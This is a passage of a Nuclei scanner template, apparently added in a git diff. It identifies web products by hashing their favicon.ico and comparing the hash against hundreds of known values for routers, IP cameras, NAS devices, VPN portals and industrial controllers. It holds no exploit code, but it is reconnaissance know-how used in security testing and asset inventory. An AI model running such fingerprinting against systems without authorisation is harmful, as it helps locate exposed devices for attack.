mmh3(base64_py(body)))" - - - type: dsl - name: "ibm-server" - dsl: - - "status_code==200 && (\"1726027799\" == mmh3(base64_py(body)))" - - - type: dsl - name: "adb-broadband-s.p.a.-network" - dsl: - - "status_code==200 && (\"-587741716\" == mmh3(base64_py(body)))" - - - type: dsl - name: "arris-network" - dsl: - - "status_code==200 && (\"-360566773\" == mmh3(base64_py(body)))" - - - type: dsl - name: "huawei-network" - dsl: - - "status_code==200 && (\"-884776764\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wampserver" - dsl: - - "status_code==200 && (\"929825723\" == mmh3(base64_py(body)))" - - - type: dsl - name: "seagate-technology-nas" - dsl: - - "status_code==200 && (\"240136437\" == mmh3(base64_py(body)))" - - - type: dsl - name: "upc-ceska-republica-network" - dsl: - - "status_code==200 && (\"1911253822\" == mmh3(base64_py(body)))" - - - type: dsl - name: "flussonic-video-streaming" - dsl: - - "status_code==200 && (\"-393788031\" == mmh3(base64_py(body)))" - - - type: dsl - name: "joomla" - dsl: - - "status_code==200 && (\"366524387\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wampserver" - dsl: - - "status_code==200 && (\"443944613\" == mmh3(base64_py(body)))" - - - type: dsl - name: "metabase" - dsl: - - "status_code==200 && (\"1953726032\" == mmh3(base64_py(body)))" - - - type: dsl - name: "d-link-network" - dsl: - - "status_code==200 && (\"-2031183903\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"545827989\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"967636089\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"362091310\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mobileiron" - dsl: - - "status_code==200 && (\"2086228042\" == mmh3(base64_py(body)))" - - - type: dsl - name: "communigate" - dsl: - - "status_code==200 && (\"-1588746893\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zte-network" - dsl: - - "status_code==200 && (\"1427976651\" == mmh3(base64_py(body)))" - - - type: dsl - name: "infinet-wireless-|-wanflex-network" - dsl: - - "status_code==200 && (\"1648531157\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mersive-solstice" - dsl: - - "status_code==200 && (\"938616453\" == mmh3(base64_py(body)))" - - - type: dsl - name: "université-toulouse-1-capitole" - dsl: - - "status_code==200 && (\"1632780968\" == mmh3(base64_py(body)))" - - - type: dsl - name: "digium-switchvox" - dsl: - - "status_code==200 && (\"2068154487\" == mmh3(base64_py(body)))" - - - type: dsl - name: "powermta-monitoring" - dsl: - - "status_code==200 && (\"-1788112745\" == mmh3(base64_py(body)))" - - - type: dsl - name: "smartlan/g" - dsl: - - "status_code==200 && (\"-644617577\" == mmh3(base64_py(body)))" - - - type: dsl - name: "checkpoint-gaia" - dsl: - - "status_code==200 && (\"-1822098181\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mailwizz" - dsl: - - "status_code==200 && (\"2127152956\" == mmh3(base64_py(body)))" - - - type: dsl - name: "rabbitmq" - dsl: - - "status_code==200 && (\"1064742722\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openmediavault-nas" - dsl: - - "status_code==200 && (\"-693082538\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openwrt-luci" - dsl: - - "status_code==200 && (\"1941381095\" == mmh3(base64_py(body)))" - - - type: dsl - name: "honeywell" - dsl: - - "status_code==200 && (\"903086190\" == mmh3(base64_py(body)))" - - - type: dsl - name: "bomgar-support-portal" - dsl: - - "status_code==200 && (\"829321644\" == mmh3(base64_py(body)))" - - - type: dsl - name: "nuxt-js" - dsl: - - "status_code==200 && (\"-1442789563\" == mmh3(base64_py(body)))" - - - type: dsl - name: "roundcube-webmail" - dsl: - - "status_code==200 && (\"-2140379067\" == mmh3(base64_py(body)))" - - - type: dsl - name: "d-link-camera" - dsl: - - "status_code==200 && (\"-1897829998\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netgear-network" - dsl: - - "status_code==200 && (\"1047213685\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sonarqube" - dsl: - - "status_code==200 && (\"1485257654\" == mmh3(base64_py(body)))" - - - type: dsl - name: "lupus-electronics-xt" - dsl: - - "status_code==200 && (\"-299324825\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vanderbilt-spc" - dsl: - - "status_code==200 && (\"-1162730477\" == mmh3(base64_py(body)))" - - - type: dsl - name: "vzpp-plesk" - dsl: - - "status_code==200 && (\"-1268095485\" == mmh3(base64_py(body)))" - - - type: dsl - name: "baidu" - dsl: - - "status_code==200 && (\"1118684072\" == mmh3(base64_py(body)))" - - - type: dsl - name: "owncloud" - dsl: - - "status_code==200 && (\"-1616115760\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sentora" - dsl: - - "status_code==200 && (\"-2054889066\" == mmh3(base64_py(body)))" - - - type: dsl - name: "alfresco" - dsl: - - "status_code==200 && (\"1333537166\" == mmh3(base64_py(body)))" - - - type: dsl - name: "digital-keystone-dk" - dsl: - - "status_code==200 && (\"-373674173\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wispr-airlan" - dsl: - - "status_code==200 && (\"-106646451\" == mmh3(base64_py(body)))" - - - type: dsl - name: "synology-vpn-plus" - dsl: - - "status_code==200 && (\"1235070469\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sentry" - dsl: - - "status_code==200 && (\"2063428236\" == mmh3(base64_py(body)))" - - - type: dsl - name: "watchguard" - dsl: - - "status_code==200 && (\"15831193\" == mmh3(base64_py(body)))" - - - type: dsl - name: "web-client-pro" - dsl: - - "status_code==200 && (\"-956471263\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tecvoz" - dsl: - - "status_code==200 && (\"-1452159623\" == mmh3(base64_py(body)))" - - - type: dsl - name: "mdaemon-remote-administration" - dsl: - - "status_code==200 && (\"99432374\" == mmh3(base64_py(body)))" - - - type: dsl - name: "paradox-ip-module" - dsl: - - "status_code==200 && (\"727253975\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dokuwiki" - dsl: - - "status_code==200 && (\"-630493013\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sails" - dsl: - - "status_code==200 && (\"552597979\" == mmh3(base64_py(body)))" - - - type: dsl - name: "fastpanel-hosting" - dsl: - - "status_code==200 && (\"774252049\" == mmh3(base64_py(body)))" - - - type: dsl - name: "c-lodop" - dsl: - - "status_code==200 && (\"-329747115\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jamf-pro-login" - dsl: - - "status_code==200 && (\"1262005940\" == mmh3(base64_py(body)))" - - - type: dsl - name: "struxureware-schneider-electric" - dsl: - - "status_code==200 && (\"979634648\" == mmh3(base64_py(body)))" - - - type: dsl - name: "axcient-replibit-management-server" - dsl: - - "status_code==200 && (\"475379699\" == mmh3(base64_py(body)))" - - - type: dsl - name: "twonky-server-media-streaming" - dsl: - - "status_code==200 && (\"-878891718\" == mmh3(base64_py(body)))" - - - type: dsl - name: "windows-azure" - dsl: - - "status_code==200 && (\"-2125083197\" == mmh3(base64_py(body)))" - - - type: dsl - name: "isp-manager-web-hosting-panel" - dsl: - - "status_code==200 && (\"-1151675028\" == mmh3(base64_py(body)))" - - - type: dsl - name: "jupyterhub" - dsl: - - "status_code==200 && (\"1248917303\" == mmh3(base64_py(body)))" - - - type: dsl - name: "centurylink-modem-gui-login-eg" - dsl: - - "status_code==200 && (\"-1908556829\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tecvoz" - dsl: - - "status_code==200 && (\"1059329877\" == mmh3(base64_py(body)))" - - - type: dsl - name: "opnsense" - dsl: - - "status_code==200 && (\"-1148190371\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ligowave-network" - dsl: - - "status_code==200 && (\"1467395679\" == mmh3(base64_py(body)))" - - - type: dsl - name: "rumpus" - dsl: - - "status_code==200 && (\"-1528414776\" == mmh3(base64_py(body)))" - - - type: dsl - name: "spiceworks-panel" - dsl: - - "status_code==200 && (\"-2117390767\" == mmh3(base64_py(body)))" - - - type: dsl - name: "teamcity" - dsl: - - "status_code==200 && (\"-1944119648\" == mmh3(base64_py(body)))" - - - type: dsl - name: "instar-full-hd-ip-camera" - dsl: - - "status_code==200 && (\"-1748763891\" == mmh3(base64_py(body)))" - - - type: dsl - name: "gpon-home-gateway" - dsl: - - "status_code==200 && (\"251106693\" == mmh3(base64_py(body)))" - - - type: dsl - name: "alienvault" - dsl: - - "status_code==200 && (\"-1779611449\" == mmh3(base64_py(body)))" - - - type: dsl - name: "arbor-networks" - dsl: - - "status_code==200 && (\"-1745552996\" == mmh3(base64_py(body)))" - - - type: dsl - name: "accrisoft" - dsl: - - "status_code==200 && (\"-1275148624\" == mmh3(base64_py(body)))" - - - type: dsl - name: "yasni" - dsl: - - "status_code==200 && (\"-178685903\" == mmh3(base64_py(body)))" - - - type: dsl - name: "slack" - dsl: - - "status_code==200 && (\"-43161126\" == mmh3(base64_py(body)))" - - - type: dsl - name: "innovaphone" - dsl: - - "status_code==200 && (\"671221099\" == mmh3(base64_py(body)))" - - - type: dsl - name: "shinobi-cctv" - dsl: - - "status_code==200 && (\"-10974981\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tp-link-network-device" - dsl: - - "status_code==200 && (\"1274078387\" == mmh3(base64_py(body)))" - - - type: dsl - name: "siemens-ozw772" - dsl: - - "status_code==200 && (\"-336242473\" == mmh3(base64_py(body)))" - - - type: dsl - name: "lantronix-spider" - dsl: - - "status_code==200 && (\"882208493\" == mmh3(base64_py(body)))" - - - type: dsl - name: "claimtime-ramsell-public-health-&-safety" - dsl: - - "status_code==200 && (\"-687783882\" == mmh3(base64_py(body)))" - - - type: dsl - name: "surfilter-ssl-vpn-portal" - dsl: - - "status_code==200 && (\"-590892202\" == mmh3(base64_py(body)))" - - - type: dsl - name: "kyocera-printer" - dsl: - - "status_code==200 && (\"-50306417\" == mmh3(base64_py(body)))" - - - type: dsl - name: "lucee!" - dsl: - - "status_code==200 && (\"784872924\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ricoh" - dsl: - - "status_code==200 && (\"1135165421\" == mmh3(base64_py(body)))" - - - type: dsl - name: "handle-proxy" - dsl: - - "status_code==200 && (\"926501571\" == mmh3(base64_py(body)))" - - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"579239725\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-689902428\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-600508822\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"656868270\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-2056503929\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-1656695885\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"331870709\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"1241049726\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"998138196\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"322531336\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-401934945\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iomega-nas" - dsl: - - "status_code==200 && (\"-613216179\" == mmh3(base64_py(body)))" - - - type: dsl - name: "chef-automate" - dsl: - - "status_code==200 && (\"-276759139\" == mmh3(base64_py(body)))" - - - type: dsl - name: "gargoyle-router-management-utility" - dsl: - - "status_code==200 && (\"1862132268\" == mmh3(base64_py(body)))" - - - type: dsl - name: "keepitsafe-management-console" - dsl: - - "status_code==200 && (\"-1738727418\" == mmh3(base64_py(body)))" - - - type: dsl - name: "entronix-energy-management-platform" - dsl: - - "status_code==200 && (\"-368490461\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openproject" - dsl: - - "status_code==200 && (\"1836828108\" == mmh3(base64_py(body)))" - - - type: dsl - name: "unified-management-console-polycom" - dsl: - - "status_code==200 && (\"-1775553655\" == mmh3(base64_py(body)))" - - - type: dsl - name: "moxapass-iologik-remote-ethernet-i/o-server-" - dsl: - - "status_code==200 && (\"381100274\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hfs-http-file-server" - dsl: - - "status_code==200 && (\"2124459909\" == mmh3(base64_py(body)))" - - - type: dsl - name: "hfs-http-file-server" - dsl: - - "status_code==200 && (\"731374291\" == mmh3(base64_py(body)))" - - - type: dsl - name: "traccar-gps-tracking" - dsl: - - "status_code==200 && (\"-335153896\" == mmh3(base64_py(body)))" - - - type: dsl - name: "iw" - dsl: - - "status_code==200 && (\"896412703\" == mmh3(base64_py(body)))" - - - type: dsl - name: "wordpress-under-construction-icon" - dsl: - - "status_code==200 && (\"191654058\" == mmh3(base64_py(body)))" - - - type: dsl - name: "combivox" - dsl: - - "status_code==200 && (\"-342262483\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netcomwireless-network" - dsl: - - "status_code==200 && (\"5542029\" == mmh3(base64_py(body)))" - - - type: dsl - name: "elastic-database" - dsl: - - "status_code==200 && (\"1552860581\" == mmh3(base64_py(body)))" - - - type: dsl - name: "drupal" - dsl: - - "status_code==200 && (\"1174841451\" == mmh3(base64_py(body)))" - - - type: dsl - name: "truvision-nvr" - dsl: - - "status_code==200 && (\"-1093172228\" == mmh3(base64_py(body)))" - - - type: dsl - name: "spamexperts" - dsl: - - "status_code==200 && (\"-1688698891\" == mmh3(base64_py(body)))" - - - type: dsl - name: "sonatype-nexus-repository-manager" - dsl: - - "status_code==200 && (\"-1546574541\" == mmh3(base64_py(body)))" - - - type: dsl - name: "idirect-canada-network-management" - dsl: - - "status_code==200 && (\"-256828986\" == mmh3(base64_py(body)))" - - - type: dsl - name: "openerp-now-known-as-odoo" - dsl: - - "status_code==200 && (\"1966198264\" == mmh3(base64_py(body)))" - - - type: dsl - name: "pkp-openjournalsystems-public-knowledge-project" - dsl: - - "status_code==200 && (\"2099342476\" == mmh3(base64_py(body)))" - - - type: dsl - name: "liquidfiles" - dsl: - - "status_code==200 && (\"541087742\" == mmh3(base64_py(body)))" - - - type: dsl - name: "zyxel-network" - dsl: - - "status_code==200 && (\"-882760066\" == mmh3(base64_py(body)))" - - - type: dsl - name: "universal-devices-ud" - dsl: - - "status_code==200 && (\"16202868\" == mmh3(base64_py(body)))" - - - type: dsl - name: "huawei-network" - dsl: - - "status_code==200 && (\"987967490\" == mmh3(base64_py(body)))" - - - type: dsl - name: "gm77[.]com" - dsl: - - "status_code==200 && (\"-647318973\" == mmh3(base64_py(body)))" - - - type: dsl - name: "okazik[.]pl" - dsl: - - "status_code==200 && (\"-1583478052\" == mmh3(base64_py(body)))" - - - type: dsl - name: "gitea" - dsl: - - "status_code==200 && (\"1969970750\" == mmh3(base64_py(body)))" - - - type: dsl - name: "tc-group" - dsl: - - "status_code==200 && (\"-1734573358\" == mmh3(base64_py(body)))" - - - type: dsl - name: "deluge-web-ui" - dsl: - - "status_code==200 && (\"-1589842876\" == mmh3(base64_py(body)))" - - - type: dsl - name: "登录-amh" - dsl: - - "status_code==200 && (\"1822002133\" == mmh3(base64_py(body)))" - - - type: dsl - name: "otrs-open-ticket-request-system" - dsl: - - "status_code==200 && (\"-2006308185\" == mmh3(base64_py(body)))" - - - type: dsl - name: "bosch-security-systems-camera" - dsl: - - "status_code==200 && (\"-1702769256\" == mmh3(base64_py(body)))" - - - type: dsl - name: "node-red" - dsl: - - "status_code==200 && (\"321591353\" == mmh3(base64_py(body)))" - - - type: dsl - name: "motioneye-camera" - dsl: - - "status_code==200 && (\"-923693877\" == mmh3(base64_py(body)))" - - - type: dsl - name: "saia-burgess-controls-pcd" - dsl: - - "status_code==200 && (\"-1547576879\" == mmh3(base64_py(body)))" - - - type: dsl - name: "arcadyan-o2-box-network" - dsl: - - "status_code==200 && (\"1479202414\" == mmh3(base64_py(body)))" - - - type: dsl - name: "d-link-network" - dsl: - - "status_code==200 && (\"1081719753\" == mmh3(base64_py(body)))" - - - type: dsl - name: "abilis-network/automation" - dsl: - - "status_code==200 && (\"-166151761\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ghost-cms" - dsl: - - "status_code==200 && (\"-1231681737\" == mmh3(base64_py(body)))" - - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"321909464\" == mmh3(base64_py(body)))" - - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"-1153873472\" == mmh3(base64_py(body)))" - - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"1095915848\" == mmh3(base64_py(body)))" - - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"788771792\" == mmh3(base64_py(body)))" - - - type: dsl - name: "airwatch" - dsl: - - "status_code==200 && (\"-1863663974\" == mmh3(base64_py(body)))" - - - type: dsl - name: "keyhelp-keyweb-ag" - dsl: - - "status_code==200 && (\"-1267819858\" == mmh3(base64_py(body)))" - - - type: dsl - name: "keyhelp-keyweb-ag" - dsl: - - "status_code==200 && (\"726817668\" == mmh3(base64_py(body)))" - - - type: dsl - name: "glpi" - dsl: - - "status_code==200 && (\"-1474875778\" == mmh3(base64_py(body)))" - - - type: dsl - name: "netcom-technology" - dsl: - - "status_code==200 && (\"5471989\" == mmh3(base64_py(body)))" - - - type: dsl - name: "cradlepoint" - dsl: - - "status_code==200 && (\"-1457536113\" == mmh3(base64_py(body)))" - - - type: dsl - name: "myasp" - dsl: - - "status_code==200 && (\"-736276076\" == mmh3(base64_py(body)))" - - - type: dsl - name: "intelbras-sa" - dsl: - - "status_code==200 && (\"-1343070146\" == mmh3(base64_py(body)))" - - - type: dsl - name: "lenel" - dsl: - - "status_code==200 && (\"538585915\" == mmh3(base64_py(body)))" - - - type: dsl - name: "okofen-pellematic" - dsl: - - "status_code==200 && (\"-625364318\" == mmh3(base64_py(body)))" - - - type: dsl - name: "simplehelp-remote-support" - dsl: - - "status_code==200 && (\"1117165781\" == mmh3(base64_py(body)))" - - - type: dsl - name: "graphql" - dsl: - - "status_code==200 && (\"-1067420240\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dnn-cms" - dsl: - - "status_code==200 && (\"-1465479343\" == mmh3(base64_py(body)))" - - - type: dsl - name: "apple" - dsl: - - "status_code==200 && (\"1232159009\" == mmh3(base64_py(body)))" - - - type: dsl - name: "apple" - dsl: - - "status_code==200 && (\"1382324298\" == mmh3(base64_py(body)))" - - - type: dsl - name: "apple" - dsl: - - "status_code==200 && (\"-1498185948\" == mmh3(base64_py(body)))" - - - type: dsl - name: "ispconfig" - dsl: - - "status_code==200 && (\"483383992\" == mmh3(base64_py(body)))" - - - type: dsl - name: "microsoft-outlook" - dsl: - - "status_code==200 && (\"-1249852061\" == mmh3(base64_py(body)))" - - - type: dsl - name: "possibly-dvr" - dsl: - - "status_code==200 && (\"999357577\" == mmh3(base64_py(body)))" - - - type: dsl - name: "possible-ip-camera" - dsl: - - "status_code==200 && (\"492290497\" == mmh3(base64_py(body)))" - - - type: dsl - name: "dvr" - dsl: - - "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))" - - - type: dsl - name: "One Identity Password Manager" - dsl: - - "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Kaseya" - dsl: - - "status_code==200 && (\"-1445519482\" == mmh3(base64_py(body)))" - - - type: dsl - name: "OpenSNS" - dsl: - - "status_code==200 && (\"1167011145\" == mmh3(base64_py(body)))" - - - type: dsl - name: "SpamSniper" - dsl: - - "status_code==200 && (\"-1000719429\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Selea-ANPR-Camera" - dsl: - - "status_code==200 && (\"-41369781\" == mmh3(base64_py(body)))" - - - type: dsl - name: "Selea-CarPlateServer" - dsl: - - "status_code==200 && (\"-656528622\" == mmh3(base64_py(body)))" - - - type: dsl - name: "KevinLAB" - dsl: - - "status_code==200 && (\"-1650202746\" == mmh3(base64_py(body)))" - - - type: dsl - name: "qdPM" - dsl: - - "status_code==200 && (\"762074255\" == mmh3(base64_py(body)))" diff --git a/poc/detect/favicon-detection-7446.yaml b/poc/detect/favicon-detection-7446.yaml new file mode 100644 index 0000000000..1a180e71b7 --- /dev/null +++ b/poc/detect/favicon-detection-7446.yaml @@ -0,0 +1,2034 @@ +id: favicon-detection + +info: + name: favicon-detection + severity: info + author: un-fmunozs + reference: | + - https://twitter.com/brsn76945860/status/1171233054951501824 + - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a + - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 + - https://github.com/devanshbatham/FavFreak + - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv + +requests: + - method: GET + path: + - "{{BaseURL}}/favicon.ico" + + redirects: true + max-redirects: 2 + + matchers: + - type: dsl + name: proxmox + dsl: + - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))" + - type: dsl + name: blogger + dsl: + - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))" + - type: dsl + name: oracle + dsl: + - "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))" + - type: dsl + name: hitachi + dsl: + - "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))" + - type: dsl + name: meinberg + dsl: + - "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))" + - type: dsl + name: "slack-instance" + dsl: + - "status_code==200 && (\"99395752\" == mmh3(base64_py(body)))" + - type: dsl + name: "spring-boot" + dsl: + - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" + - type: dsl + name: "jenkins" + dsl: + - "status_code==200 && (\"81586312\" == mmh3(base64_py(body)))" + - type: dsl + name: "cnservers-llc" + dsl: + - "status_code==200 && (\"-235701012\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian" + dsl: + - "status_code==200 && (\"743365239\" == mmh3(base64_py(body)))" + - type: dsl + name: "chainpoint" + dsl: + - "status_code==200 && (\"2128230701\" == mmh3(base64_py(body)))" + - type: dsl + name: "lacie" + dsl: + - "status_code==200 && (\"-1277814690\" == mmh3(base64_py(body)))" + - type: dsl + name: "parse" + dsl: + - "status_code==200 && (\"246145559\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian" + dsl: + - "status_code==200 && (\"628535358\" == mmh3(base64_py(body)))" + - type: dsl + name: "jira" + dsl: + - "status_code==200 && (\"855273746\" == mmh3(base64_py(body)))" + - type: dsl + name: "avigilon" + dsl: + - "status_code==200 && (\"1318124267\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian-confluence" + dsl: + - "status_code==200 && (\"-305179312\" == mmh3(base64_py(body)))" + - type: dsl + name: "openstack" + dsl: + - "status_code==200 && (\"786533217\" == mmh3(base64_py(body)))" + - type: dsl + name: "pi-star" + dsl: + - "status_code==200 && (\"432733105\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian" + dsl: + - "status_code==200 && (\"705143395\" == mmh3(base64_py(body)))" + - type: dsl + name: "angular-io-angularjs" + dsl: + - "status_code==200 && (\"-1255347784\" == mmh3(base64_py(body)))" + - type: dsl + name: "xampp" + dsl: + - "status_code==200 && (\"-1275226814\" == mmh3(base64_py(body)))" + - type: dsl + name: "react" + dsl: + - "status_code==200 && (\"-2009722838\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian-jira" + dsl: + - "status_code==200 && (\"981867722\" == mmh3(base64_py(body)))" + - type: dsl + name: "openstack" + dsl: + - "status_code==200 && (\"-923088984\" == mmh3(base64_py(body)))" + - type: dsl + name: "aplikasi" + dsl: + - "status_code==200 && (\"494866796\" == mmh3(base64_py(body)))" + - type: dsl + name: "ubiquiti-aircube" + dsl: + - "status_code==200 && (\"1249285083\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian-bamboo" + dsl: + - "status_code==200 && (\"-1379982221\" == mmh3(base64_py(body)))" + - type: dsl + name: "exostar-managed-access-gateway" + dsl: + - "status_code==200 && (\"420473080\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian-confluence" + dsl: + - "status_code==200 && (\"-1642532491\" == mmh3(base64_py(body)))" + - type: dsl + name: "cisco-meraki" + dsl: + - "status_code==200 && (\"163842882\" == mmh3(base64_py(body)))" + - type: dsl + name: "archivematica" + dsl: + - "status_code==200 && (\"-1378182799\" == mmh3(base64_py(body)))" + - type: dsl + name: "tcn" + dsl: + - "status_code==200 && (\"-702384832\" == mmh3(base64_py(body)))" + - type: dsl + name: "cx" + dsl: + - "status_code==200 && (\"-532394952\" == mmh3(base64_py(body)))" + - type: dsl + name: "ace" + dsl: + - "status_code==200 && (\"-183163807\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian-jira" + dsl: + - "status_code==200 && (\"552727997\" == mmh3(base64_py(body)))" + - type: dsl + name: "netdata" + dsl: + - "status_code==200 && (\"1302486561\" == mmh3(base64_py(body)))" + - type: dsl + name: "opengeo-suite" + dsl: + - "status_code==200 && (\"-609520537\" == mmh3(base64_py(body)))" + - type: dsl + name: "dgraph-ratel" + dsl: + - "status_code==200 && (\"-1961046099\" == mmh3(base64_py(body)))" + - type: dsl + name: "atlassian-jira" + dsl: + - "status_code==200 && (\"-1581907337\" == mmh3(base64_py(body)))" + - type: dsl + name: "material-dashboard" + dsl: + - "status_code==200 && (\"1913538826\" == mmh3(base64_py(body)))" + - type: dsl + name: "form.io" + dsl: + - "status_code==200 && (\"1319699698\" == mmh3(base64_py(body)))" + - type: dsl + name: "kubeflow" + dsl: + - "status_code==200 && (\"-1203021870\" == mmh3(base64_py(body)))" + - type: dsl + name: "netdata-dashboard" + dsl: + - "status_code==200 && (\"-182423204\" == mmh3(base64_py(body)))" + - type: dsl + name: "caprover" + dsl: + - "status_code==200 && (\"988422585\" == mmh3(base64_py(body)))" + - type: dsl + name: "wijungle" + dsl: + - "status_code==200 && (\"2113497004\" == mmh3(base64_py(body)))" + - type: dsl + name: "onera" + dsl: + - "status_code==200 && (\"1234311970\" == mmh3(base64_py(body)))" + - type: dsl + name: "smartping" + dsl: + - "status_code==200 && (\"430582574\" == mmh3(base64_py(body)))" + - type: dsl + name: "openstack" + dsl: + - "status_code==200 && (\"1232596212\" == mmh3(base64_py(body)))" + - type: dsl + name: "netdata-dashboard" + dsl: + - "status_code==200 && (\"1585145626\" == mmh3(base64_py(body)))" + - type: dsl + name: "fritz!box" + dsl: + - "status_code==200 && (\"-219752612\" == mmh3(base64_py(body)))" + - type: dsl + name: "ubiquiti-airos" + dsl: + - "status_code==200 && (\"-697231354\" == mmh3(base64_py(body)))" + - type: dsl + name: "fortinet-forticlient" + dsl: + - "status_code==200 && (\"945408572\" == mmh3(base64_py(body)))" + - type: dsl + name: "outlook-web-application" + dsl: + - "status_code==200 && (\"1768726119\" == mmh3(base64_py(body)))" + - type: dsl + name: "huawei-claro" + dsl: + - "status_code==200 && (\"2109473187\" == mmh3(base64_py(body)))" + - type: dsl + name: "asus-aicloud" + dsl: + - "status_code==200 && (\"552592949\" == mmh3(base64_py(body)))" + - type: dsl + name: "sonicwall" + dsl: + - "status_code==200 && (\"631108382\" == mmh3(base64_py(body)))" + - type: dsl + name: "google" + dsl: + - "status_code==200 && (\"708578229\" == mmh3(base64_py(body)))" + - type: dsl + name: "plesk" + dsl: + - "status_code==200 && (\"-134375033\" == mmh3(base64_py(body)))" + - type: dsl + name: "dahua-storm-ip-camera" + dsl: + - "status_code==200 && (\"2019488876\" == mmh3(base64_py(body)))" + - type: dsl + name: "huawei-adsl/router" + dsl: + - "status_code==200 && (\"-1395400951\" == mmh3(base64_py(body)))" + - type: dsl + name: "sophos-cyberoam-appliance" + dsl: + - "status_code==200 && (\"1601194732\" == mmh3(base64_py(body)))" + - type: dsl + name: "lancom-systems" + dsl: + - "status_code==200 && (\"-325082670\" == mmh3(base64_py(body)))" + - type: dsl + name: "plesk" + dsl: + - "status_code==200 && (\"-1050786453\" == mmh3(base64_py(body)))" + - type: dsl + name: "tilginab-homegateway" + dsl: + - "status_code==200 && (\"-1346447358\" == mmh3(base64_py(body)))" + - type: dsl + name: "supermicro-intelligent-management-ipmi" + dsl: + - "status_code==200 && (\"1410610129\" == mmh3(base64_py(body)))" + - type: dsl + name: "zyxel-zywall" + dsl: + - "status_code==200 && (\"-440644339\" == mmh3(base64_py(body)))" + - type: dsl + name: "dell-sonicwall" + dsl: + - "status_code==200 && (\"363324987\" == mmh3(base64_py(body)))" + - type: dsl + name: "ubiquiti-login-portals" + dsl: + - "status_code==200 && (\"-1446794564\" == mmh3(base64_py(body)))" + - type: dsl + name: "sophos-user-portal/vpn-portal" + dsl: + - "status_code==200 && (\"1045696447\" == mmh3(base64_py(body)))" + - type: dsl + name: "apache-tomcat" + dsl: + - "status_code==200 && (\"-297069493\" == mmh3(base64_py(body)))" + - type: dsl + name: "openvpn" + dsl: + - "status_code==200 && (\"396533629\" == mmh3(base64_py(body)))" + - type: dsl + name: "cyberoam" + dsl: + - "status_code==200 && (\"1462981117\" == mmh3(base64_py(body)))" + - type: dsl + name: "asp.net-favicon" + dsl: + - "status_code==200 && (\"1772087922\" == mmh3(base64_py(body)))" + - type: dsl + name: "technicolor" + dsl: + - "status_code==200 && 